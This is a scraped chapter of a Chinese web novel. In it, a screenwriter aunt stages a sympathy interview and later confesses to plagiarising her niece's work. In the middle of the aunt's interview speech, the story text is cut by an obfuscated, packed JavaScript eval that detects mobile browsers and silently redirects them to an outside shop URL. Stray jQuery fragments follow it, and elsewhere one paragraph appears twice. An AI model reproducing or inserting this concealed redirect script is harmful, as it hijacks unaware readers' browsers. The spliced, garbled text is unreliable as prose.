文趣网 > 其他小说 > 冒名之恋 > 27. 第027章
    过去了几天,姨妈似乎一直活在那一天的兴奋状态里。

    许者清看不懂,去问母亲。

    葛颖强摆摆手:“小孩子家别管那么多。只要你姨妈开心了,怎么样都好。我出了这里半年的租金,也算值了。”

    许者清只好闭嘴。

    除了晚上偶尔出去散步,她多数时间都待在二楼房间。冯总把她拉黑之后,她连努力的目标都没有了。

    眼下,她是一个真真切切的无业游民。

    可许者清还是把自己写的剧本打印了出来。十六集,前后三个版本,纸页摞得厚实,摊在桌面上。

    她一天翻几页,拿红笔在行间勾画修改。改不动时,就站到阳台上,看楼下的花丛。

    刚搬来那天,花坛里落过一只蓝底黑斑的蝴蝶,翅翼在叶片间时高时低。和那天在邬陈奕家院里见到的,像是同一个品种。

    但这几天,它没再出现。

    许者清想起姨妈传来的那个文档。

    U盘塞在行李箱夹层,懒得翻;手机里的备份,记得早删了。

    可她还是点开相册划了几下。文档没找着,却滑到了那张蝴蝶停在他发梢的照片。

    拇指悬停。

    她看了两秒,划了过去。

    傍晚,楼下传来姨妈的笑。笑得很张扬,连着好几声。

    许者清已经习惯了。她拿起平板电脑,想开又没开,抱在怀里,站到阳台上。

    视线拉远,虚虚地落在某处。

    她想起那天和邬陈奕在喷泉池边玩“正话反说”,池底干涸,积着枯叶。

    再度想起他听到她说“我不喜欢邬陈奕”的时候,脸上那一瞬间的高兴。

    她嘴角动了一下,想弯起来,又停住,一层苦涩浮上面颊。

    这么空空洞洞地站着,不知过了多久。

    姨妈在楼下又乐起来。

    许者清终于低低笑出了声,整个人往栏杆上俯。

    天擦黑,她换了条白裙子下楼,头发随手用鲨鱼夹挽起。母亲问她去哪儿,她说随便走走。

    “别出去。”姨妈从厨房探出头,身上换了套小洋装,“今晚在家吃。”

    “有谁来?”

    葛颖超笑了一下,没答。

    来的人是邬陈奕。

    许者清正从二楼往下走,一眼看见门口的身影。他今天穿得休闲,深灰短袖,领口松垮地卷着。刘海垂下来,遮了小半截眼睛。

    她停在楼梯中段望过去。

    他站在玄关的灯下,正侧身和葛莹强说话。光线从侧面切过来,鼻梁投下一道窄影,下颌的线条被光勾了一道亮的边。他微微点了下头,额前的发丝跟着晃了一下。

    他始终没往这边看。

    附近的小炒店送了外卖来。帮工的大姨跟着葛莹强在桌上铺塑料布。

    葛颖超还关在房里没出来。

    许者清朝那个方向看了一眼,犹豫着要不要上桌。

    菜一盘盘铺满桌面。葛莹强招呼邬陈奕坐。

    邬陈奕抬眼扫了下许者清的方向,说:“我跟葛老师聊两句就走。”

    葛莹强对着送外卖的大姨,亮了一下付款完结的界面,边对邬陈奕说:“别呀,这是我吃过最好吃的一家湖北菜了,一起一起。”

    这时葛颖超从房间出来。邬陈奕大步迎上去,低头礼貌地问好。

    两人交头接耳了几句,声音小得听不清。

    邬陈奕作势要告辞,葛颖超拦住:“来都来了,邬总,一起吃。你还是我侄女的同学,又是街坊,不见外。”

    邬陈奕坐了上座。

    许者清吃饭很少碰手机。可今天,她把手机支在碗前,点开短视频,一次性把菜拨进碗里,低头只管吃。

    席间,葛颖超几次三番说“这次多谢邬总帮忙”。

    许者清充耳不闻,盯着屏幕。视频里在吐槽某个演员,她呵呵笑出声。

    某一刻,然后她毫无预兆地抬眼。

    很快,也很准地,看向邬陈奕。

    邬陈奕慢了半拍,视线转过来。

    两道目光撞上。

    由此,许者清确认了一件事,那双黑沉沉的眸子里,没有她预想的任何东西。

    她捏着一次性饭盒,把碗端起来,筷子飞快地扒着藕汤和排骨肉渣,往嘴里倒。

    当晚回房,她打开相册。那张蝴蝶停在邬陈奕发梢的照片,连同那段视频,一并选中,删除。

    第二天上午,一群人涌了进来。

    领头的是账号为“陈sir看娱乐”的博主小陈——就是之前那个知道邬陈奕在美国攀附豪门的博主,现在和A姐成了朋友。

    他身后跟着两男一女,抱着笔记本电脑,进门就要Wi-Fi、要水、要把空调开大。葛莹强愣在玄关,葛颖超凑过去低语几句。她没多问,转身开始挪桌子。

    许者清从二楼下来,被眼前的阵仗怔住。她立刻折回房换掉睡衣,又快步下楼,抱臂站在厨房门口。

    她立刻折回房换掉睡衣,又快步下楼,抱臂站在厨房门口。

    她掏出手机搜了下——《风听见》的词条已经挂在热搜末尾。

    评论区起初都在问“这是哪个AI生成的”。

    但点进来的人多了,总有人顺手问一句:原编剧不是被骂混子吗,怎么突然拿得出能看的东西了?

    懂AI的毕竟是少数,但谁都能对故事好不好看说上两句。关于葛颖超的争议一起,热度反倒盖过了技术本身。

    许者清有些意外。昨天搜还动静不大,今天就过了亿?

    这念头刚落,A姐和邬陈奕并肩从门外进来。

    A姐拍了拍小陈的肩膀,转向邬陈奕,正要开口介绍。小陈的脸僵了一瞬。

    许者清没看懂那个表情。

    正出神,邬陈奕朝她这边走过来。他眼睛望着这个方向,目光却从她肩头穿过去,落在她身后的虚空里。

    她认出这眼神——他只是在走路,她恰好挡了道。

    他从她身侧走过。她控制得很好,呼吸平稳,肩膀没动。若说有哪里失了控,大概是睫毛极轻地颤了一下。

    他进了洗手间。

    咔嗒,门合上。

    她那排睫毛才又眨了两下。

    许者清转身往另一头走,踱到那群人的桌边,没太靠近,只用目光扫过屏幕。

    那几个人一察觉,下意识把笔记本电脑转了个角度。

    许者清收回视线。不用看也知道他们在干什么。

    她只是想不通:为什么非要挤到这里来?在办公室,或者各自家里,不是更方便?

    除了一楼的办公区,二楼书房被腾出来做了采访间。

    昨天那件白色小洋装葛颖超没穿,身上是常穿的旧蓝布衫,脸素着,肤色偏黄,黑眼圈和眼袋明明白白挂在眼下。

    书桌上架着手机,补光灯亮着。

    小陈团队里的那个女生站在葛颖超对面,手里举着提示板。

    板上写着:委屈感。

    葛颖超瞥了一眼,点头,开口就讲。

    “我记得有一个本子,我写的是疗愈纯爱风格。他们让我加三角恋,我加。又让加车祸,我也加了。最后要让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662439|205463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    女主堕胎,我不愿意,他们就把我换掉了。后来我有很长一段时间没有工作。我得养活自己,我也不想当个混子,可是不当混子,下个月的房租都付不起,只能认怂。”

    说完,她从镜头外的位置抽了张纸巾,按了按眼角。

    女生举了举提示板,竖起大拇指。

    许者清站在门外听完。她分不清哪句是真,哪句是演。她心里有点乱,没出声,转身回了房间,关上门。

    之后一周,风向转得比预想的快。

    从“葛颖超是编剧混子”变成“资本逼疯编剧”,再升级为“内娱烂剧谁之过”。话题越滚越大,打工族集体共情,热度节节攀升。

    这阵子,葛颖超却比从前更松弛。她也不怕被人认出来,在广场上跳舞、打麻将,兴起时点奶茶,一次三十杯,随机请客,先到先得。

    许者清实在看不懂。

    许者清实在看不透,再度发问:“姨妈,你到底想干嘛?”

    葛颖超正弯腰系鞋带,脸上是笑,头也没抬:“我只是想做件好玩的事。”

    就在许者清得到这句答复的当晚,葛颖超发了条视频。

    视频里她穿上了白色小洋装,化了眉毛,涂了口红。

    面对镜头,平静又自然。

    “我是个骗子。我抄袭了我侄女的创意。我名下的六部作品,所有的重大创意、人设、台词,几乎都出自她手。我只是个缝合怪。”

    “她到现在还蒙在鼓里。她以为那些只是身为我的小帮手的分内事。其实主意全是她的。我只是凭经验修修补补。”

    刷到这条视频的时候,许者清正在蹲马桶。

    她没来得及洗手,拉开门冲了出去。

    客厅里,姨妈和母亲正在收拾行李。

    许者清站在楼梯口,脑子里一片空。她张了张嘴,冲出来的第一句话是——

    “妈,你们要跑?不要我了?”

    葛莹强脸上堆着笑,看了眼妹妹。葛颖超接话:“想什么呢?我们俩怎么可能丢下你?”

    许者清忽然反应过来。“妈,你早就知道?”

    葛莹强笑而不语。

    许者清又盯住葛颖超:“姨妈,你早就想好了。邬陈奕说要帮你翻盘的时候,你就打算好了,是不是?”

    葛颖超撇了下嘴,那副要玩转人间的笑意又浮上来。

    “那是当然。我傻呀?我活都活不下去了,还在圈子里混什么?被他们利用来利用去的,还不如我自己利用自己。我什么都不要了,我把这个名声给你,你不是还差五十万么,这次抓紧机会。”

    许者清惊得说不出话。厕所没上完,肚子隐隐又疼。

    她捂着小腹,脸皱成一团,伸手指着姨妈:“葛颖超,你多大岁数了,还坑我……还有你,葛莹强……你你你……算了……”

    说着,她又气又急地扭身冲回洗手间。

    客厅里,“超强”姐妹俩继续理行李,嘴上没闲着。

    葛莹强停下手,抬眼想了想:“我是不是有点过分?”

    葛颖超用肩膀撞了她一下:“岂止有点,非常过分。哪有这么坑女儿的妈。”

    “不不不,我顶多算知情不报,事儿都是你干的。”

    “没有我,你家女儿还想提前退休?那五十万,九成是我给她的。她在那破商场工资才多少?我付出可比你多。”

    葛莹强点点头,用肩顶回去:“你要这么说……五十万也太少了,再加个零,不,再加两个零,我退休金全指望你了,行不行?”

    “你想得美。”

    两人大笑。